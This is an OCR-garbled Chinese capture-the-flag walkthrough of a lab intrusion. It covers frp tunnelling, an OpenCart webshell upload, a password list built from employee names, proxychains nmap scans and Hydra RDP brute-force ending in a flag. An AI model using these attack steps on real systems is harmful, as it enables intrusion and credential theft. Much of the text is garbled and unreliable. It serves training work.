Administrator: C:A\Windows\System32\crmd.exe - frps.exe -c frps.ini

[root.go:288] frps
[service.go:192] fr
[root.go

[E1Zlkali_operation_kitAt &I TR, £ c:/phpstudy/www/ BR T IHRIR, PiTm<SBofrpER

L,
Uiy ©
frpc.exe -c frpc.ini

AntSword

Sword Edit Window Debug

4 == (3 192.168.1.190 >_192.168.1.190

EIEJwin10_operation_kit=E=#1, AILERERI:



Administrator: C:\Windows'System32\emd.exe - frps.exe -c frpsini

[598]

fEwin10_operation_kitEHFTHFproxifier:

This PC

Rolan

Webshell

Intranet

information gath...

Loophole utilizat... 0 15

Packet change

mimikatz MS14-068
-Iotr*er

g 3

FEAERSS =S



B Proxifier 2

File | Profile Lm;:

2, E 55 Proxy Servers...
|‘—:'..[ Proxification Rules...

3

3 A-"‘[" MName Resolution...

L Advanced »

Time/Status Rule : Proxy Sent Received

=k Connections | ik Traffic | % Statistics [}

[01.20 08:15:04]
[01.20 08:15:04] ‘“Welcome to Proxifier v3.28
[01.20 08:15:04]

0 active connections

) Type here to search

Rt Add..., BEEWT:

Praxy Server ? |
== | Application Targe 4 X Sent Receivi

Server
Address: | 127.0.0.1 Port: | 9998

Protocol

(®) S0CKS Version S

) SOCKS Version 4 Add...

O e Edit.

Authentication

[C]Enable

| | Check... |k
=k Connections | il Traffic | & Statisti

Remove

[01.21 03:38:55]
[01.27 03:38:55] ‘wWelcome to Proxifier v Chains...
[01.21 03:38:55]

Options Cancel

Mo options For SOCK;

Check Advanced. .. Cancel

mifYes>>0K>>0K5EhkBCE.

(E557: RMERAFESERMUES (T - 1102 PILEERSS. T - 1189 MILSIEDSIE)


af://n162

AT 55 R R DL 205 A N s . IRIBIE proxychainsRHLE S KRR aAT,  BEGS VT i 1 P I 7 37 193l
B SR B B R GUET ;R AT AR AEAE S5 4 h 3R S 1R AT B B 0

WEF. EERZIE, RIS BRI
My, SRR BRI, Efiwebshe 11/ pg /a4 sCfF, FIF A b il A b 1A% 14
webshell, JEA|HIEITER.

proxychains Z—#Linux ML T E, ProxyChainsi% B Jx m4CHE 1L UREEDS I ANEE i) 4R 1K Y
RN o A 7 i PR ) LR

fEAT IR 2 frweb IR 55 25 BRI h t tpil sRALBEAS 2 SO AT HAT I A, SCHREE A T AT I RIAS, SR S53A,
AT o IR —MRTC A RSS2 0 S0 EAEThREAT . DASREUIR S5 35 LR -

ARSI LU BL R A 58

fEwin10_operation_kit=EAL A EER XN SR8 5102 BIF3HEER1SAY 192 . 168 . 1. 102 EAAI80IRH.,

Administration oo+

& 192168.1,102/zdminfndexph; & @O G ~BE ¢ @ Q search
@pisabler K Cookiesw #C55= [JFa
INT ~ = @ S0LBASICS- UNIO
g Load URL
@ SplitURL

b Execute

wBe ¥ AO 5 - F - & 0
ilmagesw @informationv [0 Miscellaneous+ '/Dutlinev & Resizew ETools~ [@View Source [fl/Options»
~ ERROR/DOUBLE QUERY~ TOOLS~ “WAF BYPASS~ ENCODING- HTML- ENCRYPTION- OTHER- X3S- LFI-

[ Pestdata [ Referrer 4 O<HEX M 48 %URL 3 4 BASEA 3B
w = Services” | [Mo information available]

nsert string to replace

Insert replacing sting | (] Replace All b |

opencart 77

f Please enter your login details.

Username

Forgotten Passward

BIERME—ERAL, EAZRIMImikatzIZEEIRIZS, AREERadmin=NER, KINERK
.

Dashboard x =

& @ 192.168.1.102/zdminfndexphpiro. 52 @O G e ¢ @ Q searh B8 ¥ & @-15 6- - &>

@Disabler LCookiesw 2 CSSv [JForms= Eimages= @Information= EMiscellaneausw #Outlines FResize {Tools+ @lView Sourcew [Options=
INT ~ = & SOLBASICS- UNIOM BASED- ERROR/DOUBLE QUERY- TOOLS- WWAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS LFl-
@ LoadURL

B Spliture

Execute

[l Postdsts [ Referer @ OHEX 3B @K %URL 3B @K BASES) 3B vaf»n’”n replacing string | ] Replace il 3 | 3
AMRTCRERT - Sepjicess | [Mo information available]

opencart 7 O o

= NAVIGATION

Dashboard ..  ashooar

TOTAL ORDERS TOTAL CUSTOMERS

Wiew more

@ World Map Ll Sales Analytics

10




{E32E catalog >> Products FHY Products T1ist &, FfIAINT edit %50, =TzigiH:

|| Post data

AMTCREFT - Servicess

LI Referrer TEE WHEA I -

[No information available]

opencart 77

Products

UKL WE bMkR

insert stnn

- |||-|'_-|- repigang stnng | v Replace &l =9 | ™=

0O

Products

= Product List Y Filter
O Image  Product Name ~ Model Price  Quantity Sta Action Product N
O Agple Cinema 30° FrL--_‘ILLIIE [.f-E- o0 EE] Enabled
Model
O . Canon EOS D Product 3 Enabled
] . HP LP30B5 Product 21 §100.00 EEE) Enabled Price
O a HTC Tauch HD Product 1 $100.00 EZ) CErabled
Quantity
O B v Product 14 §100.00 Enabled
. = e Status
A? = .
RTEEITRHAY Image :
MMETCREFT - Sepjicess | [Mo information available]
—
opencart - 0 ot
Products Products
# Edit Product
General
# English
* Product Name Apple Cinerna 30" h
Description ,. . B U = sans-serif » 13 A"~ =2 = =- H- @ [u A ¥

The 30-inch Apple Cinema HD Display delivers an amazing 2560 x 1600 pixel resolution. Designed specifically for t
professional, this display provides more space for easier access to all the tools and palettes needed to edit, format
your work, Cormnbine thic display with a Mac Pro, MacBook Pro, or Powerhac G5 and there's no limit to what you ¢

The Cinema HD features an active-matrix liquid crystal display that produces flicker-free images that deliver twice t
twice the sharpness and twice the contrast ratio of 2 typical CRT display. Unlike other flat panels, it's designed witt
interface to deliver distortion-free images that never need adjusting. With over 4 million digital pixels, the display is
for scientific and technical applications such as visualizing malecular structures or analyzing geological data

LHRBAITLERE R, [REER, [REEERERIG TR,



D Execute L

] Postdata [] Referrer @ OxHEX & %URL B &K BASEHA B Insert string to rep
AMETCREFT - Servicess

opencart -7

Insert replay

[No information available]

PrOdUCtS Home » Products

# Edit Froduct

1 Da tr i CAIFTr Image

Mdditional Images Sort

Canon 0

Ezecute

[ Postdata [] Referrer 4 OHEX ¥ @ %URL 3 &% BASE 3B Insert string to

Insert replacing string Replace all 2 |

CRAFT - Sepvicest | [Mo inforrmation available]

Image Manager

opencart =7

O demo O cart.png O opencartlogo. png O profile-pic.pn g

RS AT LA EAEE A
/i upload , IBFSRE LA 1. jpg 3, Wik EE:



CRAFT - Servicesw | [Mo information available]

Image Manager

@ File Upload
4 Bl > ThisPC > Desktop Search Desktop

Organize v New folder

& Date modified Type

# Quick access
[ Desktop
& Dowrloads

1/22/2022 1:46 A IPG File
5/21/202011:08 2M  Shorkcut
b.ﬁ a it Shortcut
2] Documents 11620201037 80 Shorteut
=/ Pictures 5 7004394 Shortcut
Die ﬁ ‘WPS PDF 7 020435 4M Shortcut
“am Local Disk (T

RedisiManager 2.dOUb|e CIiCk

tools

91

@ OneDrive

[ This PC v

File name: [| ~| [anFiles

Cancel
LHERINEEHE Image Manager B, /Mifview Page info, mifiMedia, IRENER$EE:

[ @ Page Info - http://192,1681.102 fadmin/indexphp route =catalog/product/fed.,,  — [m} >
I s
o B 7 & .
General ~ Media  Permissions  Security j we ¥ hO s e v & oot
| Resize ATools~ [@View Source= [[|Options~
B | Address Type B |ODING- HTML- ENCRYPTIOM- OTHER- X33 LFl-
F ophpStudy WWWYimagecatalog/1pg Image =
i hittp://192.168.1,102fimagefcache /catalog 100.png Image
hittp://192.168.1,102f/image/cache/catalog/op: -100:100.png Image
hittpi/192.168.1.102/image/cache/catalog/profile-pic-1 Irmage v -
B |insertstring to f:.».»| Insert replacing string | (7] Replace &Il 3 |
Location: cifphpStudy A image/catalog/ 1 jpg
“ Type: Irmage
Size: Unknown (not cached)
Dimensions: Opox = Opix
Associated Text: 1jpg
Media Preview: Select Al Save fs...
o
-
.
o opencart 7
Help
i
Cdemo Dt‘.alt.pnq Dupenuull-lugu‘ png

FRnginxEANMETIRIR, NSRHAizeit, FERKEINLE /.php, (1. jog BIRPICERMEITH A
17.



hittp://192.168... alog#1 jpasphp X

€ @ 192.168.1.102/image/catzlog/| jpa/php 26 ¢ @ Qseancy wa ¥+ A s 6 F - L

@Disable~ KCookiesw 2 CSSv [JForms= Eimages= @Information= EMiscellaneous= #Outline= #Resizes {Tools~ @lView Source= [ Options=
E

INT ~ = & S50LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS5+ LFI-

@ LloadURL
4 splituRy
v Execute
A [ Postdata [ Referrer 4 OxHEX 3 @ %URL 3 @ BASEG) I | insert strng forepioce | | Insert replacing string Replace All 3 |

MTEREFT - enicess | [Noinformation avalsble]

LERSEA I AY 1. Jpg/ . php B0 shell.php , Z=IHiIE), RIFHREIR404, shellFTEEELEBNM
.

http:/{192.168. talogishell php X

€ @ 192.168.1.102/image/catalcg/shell pho 26w ¢ @ Q Search B ¥ HNQ-S & G- EF- D

@Pisabler KCookiesw £ €SS+ [IForms~ Mimages~ @Information~ EMiscellaneousv #Outline~ # Resizev &Tools~ [@View Source~ [ Options~

INT v = & SOLBASICS- UNIONBASED- ERROR/DOUBLE QUERY- TOOLS WAFBYPASS: ENCODING- HTML- ENCRYPTION= OTHER- XSS LFl
@ LoadURL

& splitURL
) Execute

[ Postdata [ Referrer 4% OHEX 3 @ %URL 3 @ BASES) I |insertsiring l'clepl’nce||hser1‘r?pl’anng string | [ Replace il 3B .B
ARTCRAFT - Servicess | [Ma information svailable]

[E1Zkali_operation_kit, FJECEMAAIRIE, F=iiEZshell,



AntSword

AntSword Edit Window Debug
About

Language setting

>_ 192.168.1.190

Proxy setting
Display setting

Encoders manager
System setting
Plugin Store
Checkupdate

Quit

AntSword

AntSword Edit Window Debug

4 = (2 192.168.1.190 »_ 192.168.1.190 k-]
2 About [B Save <7 Test connect
"B Language setting
<A Proxy setting

[ Display setting
Do not use agent

[ Encoder Manager
= Default Setting #) Manually set the proxy
Agency agreement SOCKS5 A
Proxy server * 66.66.66.166
Port = 9998
AuthUser
Password

RFECERERNG:



Change proxy settings ®

® Restart the application to take effect, whether to re
start?

Bl o

siishelli&42:

http://192.168.1.102/image/catalog/shell1.php

pass

<| = |

¥ Setting

i= Shell Lists (1) B Category (1)

e L s
Add R C
URL |]P)DAddslul B [+] A Rename o
hitp://192.168.1. 190/inc php?temple= 192,461 | 00y e . | £ Default
Bi Base w
Shell url = |hnp:1fl07 168.1.10; T il php

shell pwd * |pm5

Naote |
Encode |uTFa
Shell type [prp
Encoder
(=) default (Not recommended)
() random (Not recommended)
O basesd .
@HTTP ~
4 Other "~

AR shel ERZRRTH,



well Lists (1)

L IP

[ Addshell

/192.168.1.190/inc.php?temple= 192.16¢ 0 Add il £ Test Connection ? 1

Base

Shell url =

Shell pwd *

Note

Encode

Shell type

4 Other

hitp://192.168.1.102/image/catalog/shell. php

pass

UTF8

PHP
Encoder
(+) default (Not recommended)
() random (Not recommended)

() bases4

W Category (1) ¥
T
e © Add A Rename @ Del
[0 Default (1]
-
v
v
-
~
Success °

v

Connection Successful!

{Es38: RERAFER (T-1059 GFSTHRE. T-1083 XHSEFREM. T- 1087 KAEM, T-

1201 ZFIRAERIN)

AT S5 AR WU P AR . AR(E IS i e Flwebshe 112 5, A4k HARuh sl ds 28 LR SCEE %, 7
REZERE M NRABUREESE, JRRICER RIS BT B, 15307 LR 1R .

FEA R ENLT, —BEAERCE A F RN ESAAEE BORE, AEBRATE S A W BN HI S, AT DS — L H 2
SO, BERL MATEELS, JRINCUA AR S

AR5 AT LU BLR A 58 B

XEHEFATBEBRXMY, AEERNKEER PRI T —MEFperson. txtAISA,

4 =2 [3192.168.1.102
[0 Folders (0)
= cr
+ [ phpStudy
I $Recycle.Bin
BB Documents and Settings
I PerfLogs
Il Program Files (x86)
Il Program Files
Im ProgramData
| Recovery
Bl System Volume Information
=[] Users
= 1 Administrator
Il AppData
Bm Application Data
Il Contacts
I Cookies
B Desktop
I Documents
I Downloads
Bl Favorites
I Links
I Local Settings

I, BIFRERRTIISHIRIEFEEES

SEHEE 1. py X15:

< | [Files (4)

s

rwmw o

O New

4 UP 2 Refresh # Home

Name
Google Chrome.Ink
desktop.ini
person.txt

pulty.ex

(==}

M Bookmark -

Time
2019-09-05 07:18:54
2019-09-05 06:59:08
2020-01-15 09:10:15

2019-09-05 07:15:38

, & person.txt XATHEIEMH,

C:/Users/Administrator/Desktop/

= Re
Size Attr
232 Kb 0666
282b 0666
696 b 0666
1.04 Mb 0777

FIF&im, £


af://n194

touch 1.py

FSIRMAIMASHIZ 1. py M4, FRIRMAIMAERIINAIFE, HARSINT:

]
f = open(l,'r")
file = f.readline()
Tine = []
while file:
a = file.split(Q)
b = a[0:2]
Tine.append(b)
file = f.readline()
f.close()

hea = ['\n']
with open("list.txt","w") as hack:

for i in Tline:
i.reverse()
hack.writelines(i+hea)

input("Please enter the text file of the company employee you found:")

print ("t

L o S

print ("The password dictionary has been generated and a file named list is

located in the

[ Folders (0)
=y
+ [ phpStudy

I $Recycle.Bin
Documents and Setting
PerfLogs
Program Files (x86)
Program Files
ProgramData
Recovery

System Volume Infor

TR REN

Users

= [ Administrator
Il AppData

I Application Da
I Contacts

I Cookies

I Deskiop

I Documents
B Downloads
BB Favorites

I Links

Il Local Settings
I Music

I My Documents

current directory')

File Actions Edit View Help

ranti@lealic &~ Meacktan [~
root@kali: ~[Desktop

File Actions Edit /  Help
root@kali: ~/Desktop ®

z # cat 1.py

1 = input("Please enter the text file of the company employee you found:")
f = open(l,'r')
file = f.readline()
line = []
while file:

a = file.split()

b = a[e:2]

line.append(b)

file = f.readline()
f.close()

hea = ['\n']
with open("list.txt","w") as hack:

for i in line:

i.reverse()

hack.writelines(i+hea)
I]I'il'lt{_ B a3
ifffff+fi+f+i+fff+ff+fff+fff+ff++-)
print ("The password dictionary has been generated and a file named list is
located in the curre;t directory")

3 #

BB TRERTHET, TwmS:

python 1.py

+ R

Atir
232 Kb (41
282b [
696 b (e
1.04 Mb 077

EndTime

2022-01-21 21:117:2



4 = 3 192.168.1.102
(3 Folders (0)
=[] v

+ [ phpStudy
SRecycle Bin
Documents and Setting]
PerfLogs
Program Files (x86)
Program Files
ProgramData
Recovery

System Volume Infor

'EETRENER

Users

= [ Administrator
AppData
Application Dat
Contacts
Conkies
Desktop
Documents
Downloads
Favorites
Links

Local Settings

Music

BANFFFERAEE:

"person.txt"

O Folders (0)
30 cy

+ [ phpStudy
$Recycle.Bin
Documents and Setting
PerfLogs
Program Files (x86)
Program Files
ProgramData
Recovery

System Volume Infor,

'EETRENERN

Users

= [ Administrator
AppData
Application Dat
Contacts
Cookies
Desktop
Documents
Downloads
Favorites
Links

Local Settings

Music

My Documents

File Actions Edit View Help

rantf@lralic ~ Maclktan 5
root@kali: ~/Desktop

File Actions Edit w  Help
root@kali: ~/Desktop =

# cat 1.py

1nput( Please enter the text file of the company employee you found:")

open(l,'r")

file = f.readline()
line = []
while file:

a = file.split()

b al[e:2]

line.append(b}

file = f.readline()
f.close()

hea = ['\n']
with open("list.txt","w") as hack:

for i in line:
i.reverse()
hack.writelines(i+hea)

print(__ R o o I A o

R B R s SRR |

print ("The password dictionary has been . _.erated and a file named list is

located in the current directory")
# python 1.py
Please EI'ItEI‘ the text file of the company employee you found:[l

File Actions Edit View Help
rant@lealic ~ Maclktnn £
root@kali: ~/Desktop
Help
root@kali: ~/Desktop L]

while file:
= file.split()
b = a[@:2]
line.append(b)
file = f.readline()
f.close()

hea = ['\n']

with open("list.txt","w") as hack:

for i in line:
i.reverse()
hack.writelines(i+hea)

print(__ A o e e o

B B e |

print ("The password dictionary has been generated and a file named list is

located in the current directory")
python 1.py
Please enter the text file of the company employee you found:"person.txt"”

R R R E s s s

R s e s

The password dictionary has been generated and a file named list is located

in the current directory
: # I

SE_E-HNEUAFIDAERMLY 1ist. txt &, WHEE:

2 Re

Atir
2.32 Kb DEBE
282 b DGEE
696 b D66E
1.04 Mb 0777

EndTime

2022-01-21 21:17:2¢

% Read
Atir
232 Kb 0666
282 b 0666
696 b DE6R
1.04 Mb 0777

EndTime

2022-01-21 21:17:29



Dafald00l
Dakden10002
Dakes10003
Dakley10004
Dbadiah10005
Dbal10006
SLELERL

Pbharnait10009
Dbiel0010

Obreannal®@l2
Dceanl1@013
Dcelfal@ols

Dcranl@016
Dctavialeel7
Ddam10818
ODdanodan10019

Ddaylel0020

BER=: ARIPIRIENZE
{E559: IREHUROITNR (T - 1040 FEIUR. T- 1046 MLEIRSIIM. T- 1050 HSTRE)

ZAT S5 A E R D9, IR A AT Hrnmap, % P9 9 b R R RLEEAT TR0 3 PR, R BT o
FUE, BT RASE 0 B (0 B P9 R EALEEAT B B 25

nmap & — KOS (9 103 26 MR 22 4 B AZ 00 T H . Nmap LLETR 77 2048 AR T PR SO R BN 4% - —
ey Hl, R EHURBHT 2RSS (MR AMRAD , IRERSSITEF ARIERS (BHRARFEL) , B
I A2 BRSO e 2 / B KR, DA S —HEH A ThsE -

ARG AT LU AN B 58

BcEkali_operation_kitAHCERMIN, FTH&IRHIITIRS

vim /etc/proxychains.conf

ECEUNT, ECESREHTHRE:


af://n211
af://n212

(3 Folders (0)

= cr

+ [ phpStudy
I $Recycle.Bin

File Actions Edit View Help
rant@ilralis &~ Macktan £3

root@kali: ~

Edit

I Documents and Setting root@kali: ~

PerfLogs

Program Files
ProgramData

Recovery

TR N

Users

=-[71 Administrator

Il AppData

Im Application

I cContacts
I Cookies
Il Desktop

Documents

Downloads

Favorites

.
.
.
I Links
=
=

Local Settings

Music

Program Files (x86)

System Volume Inform

[ProxyList]

socks5 66.66.66.166 9998]|
— INSERT — 116,26

My Documents

EndTime

2022-01-21 21:

0666

0666

0666

0777

17:29

ZBIEA SRR T RIS 192.168.2MERAYHLEE, ILEAYFR(IAproxychainsiZainmap, XtEH

/

37 Administrator

TimORRE, FHIIRMAENESBIF 7w

proxychains4 nmap -Pn -sT 192.168.2.125 -p 80,443,445,3389

Program Files
ProgramData
Recovery

System Volume Inform

Users

Bl AppData

B Application Da
Il Contacts

I Cookies
Desktop
Documents
Downloads
Favorites

Links

Local Settings

:~# proxychainsé4 nmap -Pn -sT 192.168.2.125 -p 8@,443,445,3389
[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/local/lib/libproxychainsé4.so

[proxychains] DLL init: proxychains-ng 4.14

Starting Nmap 7.8@ ( https://nmap.org ) at 2022-01-21 21:59 EST

[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:80 <

—socket error or timeout!

[proxychains] Strict chain ... 66.66.66.166:9998 - 192.168.2.125: 443

¢—socket error or timeout!

[proxychains] Strict chain ... 66.66.66.166:9998 - 192.168.2.125:3389
e 0K

RTTVAR has grown to over 2.3 seconds, decreasing to

RTTVAR has grown to over 2.3 seconds, decreasing to 2.

[proxychains] Strict chain ... 66.66.66.166:9998 . 192.168.2.125: 445

¢«—socket error or timeout!

Nmap scan report for 192.168.2.125
Host is up (13s latency).

PORT STATE SERVICE
8@/tcp  closed http

443/tcp closed https
445/tcp closed microsoft-ds
3389/tcp open  ms-wbt-server

proxychains4 nmap -Pn -sT 192.168.2.177 -p 80,443,445,3389

1.04 Mb 0777

EndTime

2022-01-21 21:17:29




root@kali: ~/Desktop
UMb St File Actions Edit View Help

[ Folders (0)

root@kali: ~/Desktop %

=My I & Reat
# proxychains4 nmap -Pn -sT 192.168.2.177 -p 80,443,445,
+ [ phpStudy 3389 attr
B S$Recycle.Bin [proxychains] config file found: /etc/proxychains.conf
) [proxychains] preloading /usr/local/lib/libproxychainss.so 2.32 Kb 0666
L IRERRLREELEE:  [proxychains] DLL init: proxychains-ng &4.14
M PerfLogs Starting Nmap 7.80 ( https: /{nmap org ) at 2022-81-22 81:11 EST 282b 0666
[proxychains] Strict chain . 66.66.66.166:9998 192.168.2.177:443
I Program Files (x86 e DK 696 b 0666
B Progam Files [proxyg:zains] strict chain 66.66.66.166:9998 192.168.2.177:445 1.04 Mb .
M ProgramData [proxychains] Strict chain 66.66.66.166:9998 192.168.2.177:80
Il Recovery .o 0K ; . .
[proxychains] Strict chain 66.66.66.166:9998 192.168.2.177:3389
Bl System Volume Inf . 0K
= [ Users Nmap scan report for 192.168.2.177

Host is up (0.0064s latency).
=1 Administrator P Y
I AppData PORT STATE SERVICE
80/tcp open http

L RRIERE  443/tcp open  https
B Contacts 445/tcp open microsoft-ds

3389/tcp open ms-wbt-server
I Cookies
M| Desktop Nmap done: 1 IP address (1 host up) scanned in 13.87 seconds

H EndTime

I Documents
I Downloads 2022-01-22 01:08:45
B Favorites
I Links
| T QR [ S,

{£5510: RAOWBTESRIKO (T - 1059 sFSITHE. T- 1110 RIWAR)

AL S N B TR AR B 0 o ARENTE N P LT 33893 M), W LA Hydra #E47RDPIH FURHL.
A AR FIAEAE 55 8 B F A 7 e, %o AV XTI 338 QR EMLEAT FHY P 44 AN 5 L PR R s

Hydrajg— AR i ) B e TR, 3t
ﬁfﬁ"ff'{ﬁﬁﬂ‘]%ﬂﬁﬁ%ﬂ%%éﬂ &
RAp. SSHAFSERRY KR JI M f#

AT DR R 78 IR 0 2 8 S SR A . e A P o B ) M sk S 4
BT EhNS SOAwa#L“%‘?kE@%JJﬂI&ﬁ%, fufitelnet. FTP. HTTP.

AR5 AT LU BLR A 58 B

Ffi1#Ekali_operation_kitH&is
FH1R9338%Im M, TERIRMLE

PAproxychainsiSzfihydra, {EREZEIRERIARIER, D3EERE

-1 Administrator -P

proxychains4 hydra
/root/Desktop/Tist.txt

proxychains4 hydra
/root/Desktop/Tist.txt

192.168.2.125 rdp

192.168.2.177 rdp

-V

-1 Administrator -P
-V

:~# proxychains4 hydra 192.168.2.125 rdp -1 Administrator
[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/local/lib/libproxychainsé.so

-P /root/Desktop/list.txt -V

[proxychains] DLL init: proxychains-ng 4.14
Hydra v9.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations,

or for illegal purposq



af://n223

[proxychains] Strict chain ... .66.66.166:9998 ... 192.168.2.125:3389 [ATTEMPT] target 192.168.2.125 - login "Administr]
[proxychains] Strict chain .66.66.166:9998 ... OK
192.168.2.125:3389 ...
[ATTEMPT] target 192.168.2.125 - login "Administrator" - pass "0Odaylel@020" - 21 of 40 [child @] (@/e)
[ATTEMPT] target 192.168.2.125 - login "Administrator™ - pass "Aabbye10021" - 22 of 40 [child 1] (@/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 [proxychains] Strict chain .. B66.66.66.166:999
[ATTEMPT] target 192.168.2.125 - login "Administrator" - pass "Aaronl@@22" - 23 of 4@ [child 3] (e/e)
[proxychains] Strict chain 66.66.66.166:9998 ... OK
192.168.2.125:3389 ... 0K
[ATTEMPT] target 192.168.2.125 - login "Administrator" - pass "Abagael10023" - 24 of 40 [child 2] (e/@)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
.168.2.125 login "Administrator™ - pass "Abagailiee24" - 25 of 4@ [child e] (e/e)
chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
[ATTEMPT] target 192.168.2.125 login "Administrator™ - pass "Abbel@e25" - 26 of 4@ [child 1] (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
[ATTEMPT] target 192.168.2.125 login "Administrator®" - pass "Abbey10026" - 27 of 4@ [child 2] (8/@)
[proxychains] Strict chain 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
[ATTEMPT] target 192.168.2.12 login "Administrator™ - pass "Abbil@e27" - 28 of 4@ [child e] (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 [ATTEMPT] target 192.168.2.125 - login "Administr
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
2=a e G
[ATTEMPT] target 192.168.2.125 - login "Administrator™ - pass "Abbott10629" - 30 of 40 [child 2] (e/@)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192,168.2.125:3389 ... OK
[ATTEMPT] target 192.168.2.125 login "Administrator®™ - pass "Daceyl0038" - 31 of 4@ [child @] (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
[ATTEMPT] target 192.168.2.125 login "Administrator® - pass "Dafydd10e31" - 32 of 40 [child 11
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
[ATTEMPT] target 192.168.2.125 login "Administrator™ - pass "Dagl@@32" - 33 of 40 [child =, (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... K
[ATTEMPT] target 192.168.2.125 - login "Administrator" - pass "Dagmarl@833" - 34 of 47 _child @] (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... 0O
[ATTEMPT] target 192.168.2.125 - login "Administrator™ - pass "Dahilal@@34" - 37 r 40 [child 1] (@/e)
[3389][rdp] host: 192.168.2.125 1login: Administrator password: Aaron10022
proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.125:3389 ... OK
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-21 22:05:42
i~

e TULe s

[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168,2.177:3389 ... OK
[ATTEMPT] target 192.168.2.177 - login "Administrator" pass "Abbe10025" - 26 of 4@ [child 1] (@/0)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:3389 [ATTEMPT] target 192.168.2.177 - login
e 0K
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:3389 ... OK
[ATTEMPT] target 192.168.2.177 - login "Administrator" pass "Abbilee27" - 28 of 40 [child 2] (e/e)
[ATTEMPT] target 192.168.2.177 - login "Administrator" - pass "Abbie1@@28" - 29 of 48 [child 3] (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:3389 [proxychains] Strict chain
4@ [child 1] (e/@)
e 0K
[proxychains] Strict chain 66.66.66.166:9998 ... 192.168.2.177:3389 ... OK
[ATTEMPT] target 192.168.2. login "Administrator" - pass "Daceyl8830" - 31 of 40 [child @] (e/e)
. 0K
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:3389 [ATTEMPT] target 192.168.2.177 - login
. 0K
[proxychains] Strict chain 66.66.66.166:9998 ... 192.168.2.177:3389 [ATTEMPT] target 192.168.2.177 - login
[ATTEMPT] target 192.168.2. login "Administrator" - pass "Dagmar1@@33" - 34 of 48 [child 2] (e/@)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:3389 [proxychainsl .crict chain ... 66.66.
e 0K
. 0K
[ATTEMPT] target 192.168.2.177 - login "Administrator" - pass "Dahilal@e34" - 35.. 48 [child ] (e/@)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:3389 0K
[ATTEMPT] target 192.168.2.177 - login "Administrator" pass "Dahlial@e35" 36 of 4@ [child 1] (e/e)
[ATTEMPT] target 192.168.2.177 - login "Administrator" pass "Daibhidhi? 56" - 37 of 4@ [child 3] (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177 389 [proxychains] Strict chain
[ATTEMPT] target 192.168.2.177 - login "Administrator" - pass "Dais: .0@37" - 38 of 40 [child 2] (e/@)
[proxychains] Strict chain ... 66.66.66.166:9998 ... OK
192.168.2.177:3389 ... OK
[ATTEMPT] target 192.168.2.177 - login "Administrator" pa2 - "Dakotal@e3s" - 39 of 4@ [child @] (e/e)
[proxychains] Strict chain ... 66.66.66.166:9998 ... -~ .92.168.2.177:3389 ... OK
[ATTEMPT] target 192.168.2.177 - login "Administrate " pass "Dalel@@39" - 4@ of 40 [child 3] (@/0)
[proxychains] Strict chain ... 66.66.66.166:9998 + 192.168.2.177:3389 0K
1 of 1 target completed, @ valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-21 22:07:10
= |

BATAI 192.168.2. 125 HlasAIKFERERE, %579 Aaron10022,

(E5511: itiEREERAMEN (T - 1210 FIBEERSS. T- 1572 BEMHY)

AR N B E AR E RN T Rl Ewist B R A 25NN — Gwindows I EEHL; FIH]
proxifier THXBZMAERME NI, @EidarsmkERAMEN, EEAMENERflag .

Proxifier 2 —HKIhEEIEH 3 KHIsocks 57 /o, Al LAEASCRRAREEAR 35 28 TARRZ P AR Al AT . SRR
FEAE RGASRILT, S BT LA e O, FRE P RS Proxd fierihRIAT T 4411 W 45
AT, LT XA T IR, AR LS A SAE AR 8 AR 52 A

AR5 AT LU BLR A 58 A

LERFEEA JEZIwin10_operation_kit=E#l, ¥TFHTiZsRmIERE 192.168.2.125 FH, BINEREITER
.


af://n231

USEl NAME.  MNONS 3peciisd

The computer name fiekd is blank. Enter a full remote computer

jal 0 & o name

Best match ~ Show Dpbons Connect Help
Remote Desktop Connection
App &

Search the web

£ mstsc - See web results >

U % Set Network Location

Select a location for the ‘Network 7 network

This computer is connectad to a network. Windows will automatically apply the correct
nebaork settings based on the network's location,

Home network
b I WI If all the computers on this network are at your home, and you recognize them,
- this is a trusted home network. Don't choose this for public places such as
coffee shops or airports.

L'- Work network
4] 1 If all the computers on this network are at your workplace, and you recognize
% them, this is a trusted work network. Don't choose this for public places such as

coffee shops or airports.

Public network

T you don't recognize all the computers on the network (for example, you're in
a coffee shop er airport, or you have mobile broadband), this is a public
network and is not trusted.

[7] Treat all future networks that [ connect to as public, and don't ask me again,

Help me choose

R

[ilicaians

FEREERILT flag. txt , BEIAREE T flag:

f1ag{52533448e88b27e3f29892bcad491e05} .



ﬁ flag.bt - Notepad

F'Iag{ﬁi533448988b2723f29892hcad491e05} |

